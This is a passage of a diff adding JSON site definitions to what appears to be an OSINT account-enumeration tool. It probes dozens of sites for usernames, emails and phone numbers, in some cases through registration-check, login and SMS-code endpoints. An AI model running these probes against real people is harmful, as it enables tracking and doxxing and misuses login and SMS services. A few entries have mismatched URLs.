"RegistrantCountry": "US" + } + }, + "npm": { + "url": "https://www.npmjs.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.npmjs.com/~%s", + "existUsername": "kennethsweezy", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.npmjs.com/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "osu!": { + "url": "https://osu.ppy.sh/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://osu.ppy.sh/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://osu.ppy.sh/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "pikabu": { + "url": "https://pikabu.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pikabu.ru/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pikabu.ru/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "pr0gramm": { + "url": "https://pr0gramm.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "304", + "url": "https://api.polarsteps.com/users/byusername/%s", + "existUsername": "Guschtl", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pr0gramm.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "queer-af": { + "url": "https://queer.af/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://queer.af/@%s", + "existUsername": "erincandescent", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://queer.af/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "satsisru": { + "url": "https://satsis.info/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://satsis.info/user/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://satsis.info/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "UA" + } + }, + "sessionize": { + "url": "https://sessionize.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://sessionize.com/%s", + "existUsername": "jason-mayes", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://sessionize.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "HR" + } + }, + "skyrock": { + "url": "https://skyrock.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.skyrock.com/", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.skyrock.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "social-tchncs": { + "url": "https://social.tchncs.de/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://social.tchncs.de/@%s", + "existUsername": "Milan", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://social.tchncs.de/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "spletnik": { + "url": "https://spletnik.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://spletnik.ru/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://spletnik.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "svidbook": { + "url": "https://www.svidbook.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.svidbook.ru/user/%s", + "existUsername": "green", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.svidbook.ru/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "toster": { + "url": "https://www.toster.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.toster.ru/user/%s/answers", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.toster.ru/user/%s/answers" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "uid": { + "url": "https://uid.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://uid.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://uid.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wiki-vg": { + "url": "https://wiki.vg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://wiki.vg/User:%s", + "existUsername": "Auri", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://wiki.vg/User:%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wykop-pl": { + "url": "https://wykop.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.wykop.pl/ludzie/%s", + "existUsername": "janusz-nowak", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.wykop.pl/ludzie/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "xhamster": { + "url": "https://xhamster.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://xhamster.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xhamster.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CY" + } + }, + "znanylekarz-pl": { + "url": "https://znanylekarz.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.znanylekarz.pl/%s", + "existUsername": "janusz-nowak", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.znanylekarz.pl/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "newsmth": { + "url": "https://www.newsmth.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "0500", + "existRegex": "face_url", + "url": "https://www.newsmth.net/nForum/user/query/%s.json", + "existUsername": "TDK1", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://www.newsmth.net/nForum/user/query/%s.json" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bbspku": { + "url": "https://bbs.pku.edu.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "avatar_frame", + "url": "https://bbs.pku.edu.cn/v2/ajax/get_userinfo_by_names.php", + "existUsername": "moony", + "nonExistUsername": "youga777888", + "body": "names=\%5B\%22%s\%22\%5D", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://bbs.pku.edu.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "fishpi": { + "url": "https://fishpi.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://fishpi.cn/member/%s", + "existUsername": "csfwff", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://fishpi.cn/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "ali213": { + "url": "https://game.ali213.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "抱歉,您指定的用户空间不存在", + "url": "https://game.ali213.net/space-username-%s.html", + "existUsername": "freedomboy1979", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://game.ali213.net/space-username-%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "4399": { + "url": "https://www.4399.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已被注册", + "nonExistRegex": "0", + "url": "https://ptlogin.4399.com/ptlogin/isExist.do?username=%s&appId=u4399®Mode=reg_normal&v=2", + "existUsername": "123123", + "nonExistUsername": "1231pixn123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.4399.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "7k7k": { + "url": "https://web.7k7k.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "\\\\u7528\\\\u6237\\\\u5df2\\\\u5b58\\\\u5728\\\\uff01", + "nonExistRegex": "\\\\u7528\\\\u6237\\\\u540d\\\\u53ef\\\\u7528\\\\uff01", + "url": "https://web.7k7k.com/source/core_Post.php", + "existUsername": "123123", + "nonExistUsername": "1231pixn123", + "body": "param=%s&name=name", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://web.7k7k.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "doc88": { + "url": "https://www.doc88.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "1", + "nonExistRegex": "0", + "url": "https://www.doc88.com/member.php?act=check&username=%s", + "existUsername": "123123", + "nonExistUsername": "12x31pixn123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.doc88.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "huazhu": { + "url": "https://m.huazhu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "nonExistRegex": "未找到与该手机号绑定的账户", + "url": "https://m.huazhu.com/api/public/sendCodeNoLogin?param=%s", + "body": "{}", + "existUsername": "123123", + "nonExistUsername": "13188554520", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://m.huazhu.com", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "1point3acres": { + "url": "https://www.1point3acres.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "alert_error", + "url": "https://www.1point3acres.com/bbs/space-username-%s.html", + "existUsername": "luckymeteor666", + "nonExistUsername": "luckymeta123eor666", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.1point3acres.com/bbs/space-username-%s.html" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "okjike": { + "url": "https://web.okjike.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "nonExistRegex": "Expected a value of type", + "url": "https://web-api.okjike.com/api/graphql", + "body": "{\"operationName\":\"GetSmsCode\",\"variables\":{\"mobilePhoneNumber\":\"%s\",\"areaCode\":\"+86\"},\"query\":\"mutation GetSmsCode($mobilePhoneNumber: String!, $areaCode: String!) {\\n getSmsCode(action: PHONE_MIX_LOGIN, mobilePhoneNumber: $mobilePhoneNumber, areaCode: $areaCode) {\\n action\\n __typename\\n }\\n}\\n\"}\n", + "existUsername": "123123", + "nonExistUsername": "13188554520", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://web.okjike.com/", + "sleep": 10 + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + + "cstis": { + "url": "https://cstis.cn", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "email", + "nonExistRegex": "\\\\u6b64\\\\u90ae\\\\u7bb1\\\\u4e0d\\\\u5b58\\\\u5728", + "url": "https://cstis.cn/ts/getcode?email=%s&type=2", + "nonExistUsername": "13188554520@qq.com", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://cstis.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "dzone": { + "url": "https://dzone.com", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "exists", + "url": "https://dzone.com/services/widget/users-registration/validateUsername", + "existUsername": "Jade_Rubick", + "nonExistUsername": "Jade_Rubickaa", + "body": "{\"username\":\"%s\"}", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json", + "Accept": "application/json, text/plain, */*", + "Cookie": "TH_CSRF=8995242996830184179", + "X-Th-Csrf": "8995242996830184179" + }, + "userPage": "https://dzone.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "dalao": { + "url": "https://dalao.net/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "password", + "nonExistRegex": "email", + "url": "https://dalao.net/user-login.htm", + "existUsername": "不讲李", + "nonExistUsername": "Jade_Rubickaa", + "body": "email=%s&password=4297f44b13955235245b2497399d7a93", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://dalao.net/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "medium": { + "url": "https://medium.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "<h2 class=\"fs b ft fu fv fw fx\"><span class=\"fn\">404</span></h2>", + "url": "https://medium.com/@%s", + "existUsername": "james_73717", + "nonExistUsername": "james_737171", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://medium.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "matters": { + "url": "https://matters.town/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "styles_errorMessage", + "url": "https://matters.town/@%s", + "existUsername": "LuzWu222", + "nonExistUsername": "LuzWu2221", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://matters.town/@%s", + "sleep": 3 + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "0xffff": { + "url": "https://0xffff.one/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://0xffff.one/u/%s", + "existUsername": "ryan4yin", + "nonExistUsername": "ryan4yin1x", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://0xffff.one/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "optzmx": { + "url": "http://www.optzmx.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "email", + "nonExistRegex": "succeed", + "url": "http://www.optzmx.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkemail&email=%s", + "existUsername": "admin@admin.com", + "nonExistUsername": "admin@admin.com", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://www.optzmx.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "qsnctf": { + "url": "https://bbs.qsnctf.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "该用户名已注册,请更换用户名", + "url": "https://bbs.qsnctf.com/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "6Fgenshin", + "nonExistUsername": "6Fgenshin12331", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bbs.qsnctf.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "cnodejs": { + "url": "https://cnodejs.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://cnodejs.org/user/%s", + "existUsername": "leapon", + "nonExistUsername": "leaponasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://cnodejs.org/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "react-china": { + "url": "http://react-china.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://react-china.org/u/%s", + "existUsername": "makshow", + "nonExistUsername": "makshow123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://react-china.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + + "xiaozhuanlan": { + "url": "https://xiaozhuanlan.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "404 - 小专栏", + "url": "https://xiaozhuanlan.com/u/%s", + "existUsername": "biudesign", + "nonExistUsername": "biudesignasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://xiaozhuanlan.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "classcentral": { + "url": "https://www.classcentral.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.classcentral.com/@%s", + "existUsername": "jack", + "nonExistUsername": "jackrose", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Accept-Language": "en-US,en;q=0.9" + }, + "userPage": "https://www.classcentral.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "pinterest": { + "url": "https://www.pinterest.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "pinterestapp:followers", + + "url": "https://www.pinterest.com/%s/", + "existUsername": "hardlysamie", + "nonExistUsername": "hardlysasdfamie", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.pinterest.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "opensea": { + "url": "https://opensea.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://opensea.io/%s", + "existUsername": "BYOPContracts", + "nonExistUsername": "BYOPContracasdfts", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://opensea.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "instagram": { + "url": "https://www.instagram.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.instagram.com/api/v1/users/web_profile_info/?username=%s", + "existUsername": "zengshuohui", + "nonExistUsername": "zengshuohuxixasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "X-Ig-App-Id": "936619743392459" + }, + "userPage": "https://www.instagram.com/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rottentomatoes": { + "url": "https://www.rottentomatoes.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.rottentomatoes.com/critics/%s/movies", + "existUsername": "kimber-myers", + "nonExistUsername": "kimber-myxxxers", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.rottentomatoes.com/critics/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "openclipart": { + "url": "https://openclipart.org/", + "type": "Socail", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "This artist does not exist", + "url": "https://openclipart.org/artist/%s", + "existUsername": "revzack", + "nonExistUsername": "revzackasd", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://openclipart.org/artist/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "thenextweb": { + "url": "https://thenextweb.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://thenextweb.com/author/%s", + "existUsername": "linnea", + "nonExistUsername": "linnea123", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://thenextweb.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "theverge": { + "url": "https://www.theverge.com/", + "type": "Socail", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.theverge.com/authors/%s", + "existUsername": "", + "nonExistUsername": "", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.theverge.com/authors/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "engadget": { + "url": "https://www.engadget.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.engadget.com/about/editors/%s/", + "existUsername": "igor-bonifacic", + "nonExistUsername": "igor-bonifacicxx", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.engadget.com/about/editors/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "techcrunch": { + "url": "https://techcrunch.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://techcrunch.com/author/%s/", + "existUsername": "zack-whittaker", + "nonExistUsername": "zack-whittakerasdf", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://techcrunch.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + + "kickstarter": { + "url": "https://www.kickstarter.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": 